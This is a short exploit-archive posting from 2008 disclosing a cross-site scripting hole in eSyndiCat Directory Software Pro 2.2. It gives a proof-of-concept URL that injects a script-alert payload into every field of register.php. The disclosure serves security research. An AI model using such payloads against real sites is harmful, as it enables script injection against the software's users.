Home / exploits

PDF

esyndicat-xss.txt

Posted on 11 July 2008

eSyndiCat Directory Software Pro 2.2  XSS - Cross-Site Scripting Vulnerability

- Vendor : www.esyndicat.com

- Platform : PHP

- Discovered : by Fugitif

My vulnerability  is  on  "register.php"   and works this way :

http://www.site.com/register.php   where  username="><script>alert(12157312.477)</script>&email="><script>alert(12157312.477)</script>&password="><script>alert(12157312.477)</script>&password2="><script>alert(12157312.477)</script>&security_code="><script>alert(12157312.477)</script>&register="><script>alert(12157312.477)</script>

 

TOP